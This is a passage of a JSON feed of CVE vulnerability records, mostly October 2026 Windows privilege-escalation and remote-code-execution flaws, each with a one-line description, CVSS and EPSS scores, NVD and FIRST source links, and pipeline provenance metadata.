locally.","detail":"Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:22.063Z","updatedAt":"2026-10-13T21:18:46.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83757","asOf":"2026-10-13T21:18:46.500Z"},"epss":{"probability":0.00361,"percentile":0.29668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83757","type":"primary","publishedAt":"2026-10-13T19:20:22.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83754","cveId":"CVE-2026-83754","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:21.597Z","updatedAt":"2026-10-16T16:21:27.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSH"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83754","asOf":"2026-10-16T16:21:27.483Z"},"epss":{"probability":0.00677,"percentile":0.51985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83754&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83754","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83754","type":"primary","publishedAt":"2026-10-13T19:20:21.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83754&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83754, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83753","cveId":"CVE-2026-83753","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:21.443Z","updatedAt":"2026-10-16T16:21:27.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83753","asOf":"2026-10-16T16:21:27.343Z"},"epss":{"probability":0.00361,"percentile":0.29669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83753","type":"primary","publishedAt":"2026-10-13T19:20:21.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83752","cveId":"CVE-2026-83752","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:21.243Z","updatedAt":"2026-10-16T16:21:27.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83752","asOf":"2026-10-16T16:21:27.167Z"},"epss":{"probability":0.00258,"percentile":0.17254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83752","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83752","type":"primary","publishedAt":"2026-10-13T19:20:21.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83751","cveId":"CVE-2026-83751","aliases":[],"kind":"vulnerability","title":"Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:21.103Z","updatedAt":"2026-10-13T21:18:45.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83751","asOf":"2026-10-13T21:18:45.697Z"},"epss":{"probability":0.00286,"percentile":0.20924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83751&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83751","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83751","type":"primary","publishedAt":"2026-10-13T19:20:21.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83751&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83751, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83750","cveId":"CVE-2026-83750","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:20.893Z","updatedAt":"2026-10-16T16:21:26.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83750","asOf":"2026-10-16T16:21:26.920Z"},"epss":{"probability":0.00233,"percentile":0.1406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83750&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83750","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83750","type":"primary","publishedAt":"2026-10-13T19:20:20.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83750&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83750, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83749","cveId":"CVE-2026-83749","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:20.693Z","updatedAt":"2026-10-16T16:21:26.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83749","asOf":"2026-10-16T16:21:26.763Z"},"epss":{"probability":0.00258,"percentile":0.17255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83749&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83749","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83749","type":"primary","publishedAt":"2026-10-13T19:20:20.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83749&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83749, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83746","cveId":"CVE-2026-83746","aliases":[],"kind":"vulnerability","title":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.","summary":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.","detail":"Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:20.157Z","updatedAt":"2026-10-13T21:18:44.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83746","asOf":"2026-10-13T21:18:44.960Z"},"epss":{"probability":0.01147,"percentile":0.66552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83746","type":"primary","publishedAt":"2026-10-13T19:20:20.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83741","cveId":"CVE-2026-83741","aliases":[],"kind":"vulnerability","title":"Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:19.983Z","updatedAt":"2026-10-16T16:21:26.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83741","asOf":"2026-10-16T16:21:26.220Z"},"epss":{"probability":0.00275,"percentile":0.19727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83741","type":"primary","publishedAt":"2026-10-13T19:20:19.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83740","cveId":"CVE-2026-83740","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:19.793Z","updatedAt":"2026-10-16T16:21:26.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83740","asOf":"2026-10-16T16:21:26.073Z"},"epss":{"probability":0.00286,"percentile":0.20926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83740&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83740","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83740","type":"primary","publishedAt":"2026-10-13T19:20:19.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83740&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83740, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83739","cveId":"CVE-2026-83739","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.","summary":"Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.","detail":"Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:19.533Z","updatedAt":"2026-10-16T16:21:25.923Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83739","asOf":"2026-10-16T16:21:25.923Z"},"epss":{"probability":0.00481,"percentile":0.41188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83739","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83739","type":"primary","publishedAt":"2026-10-13T19:20:19.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83738","cveId":"CVE-2026-83738","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:19.343Z","updatedAt":"2026-10-16T16:21:25.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83738","asOf":"2026-10-16T16:21:25.750Z"},"epss":{"probability":0.00298,"percentile":0.22275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83738","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83738","type":"primary","publishedAt":"2026-10-13T19:20:19.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83735","cveId":"CVE-2026-83735","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:18.857Z","updatedAt":"2026-10-13T21:18:42.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83735","asOf":"2026-10-13T21:18:42.997Z"},"epss":{"probability":0.00433,"percentile":0.37358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83735&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83735","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83735","type":"primary","publishedAt":"2026-10-13T19:20:18.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83735&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83735, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83732","cveId":"CVE-2026-83732","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: 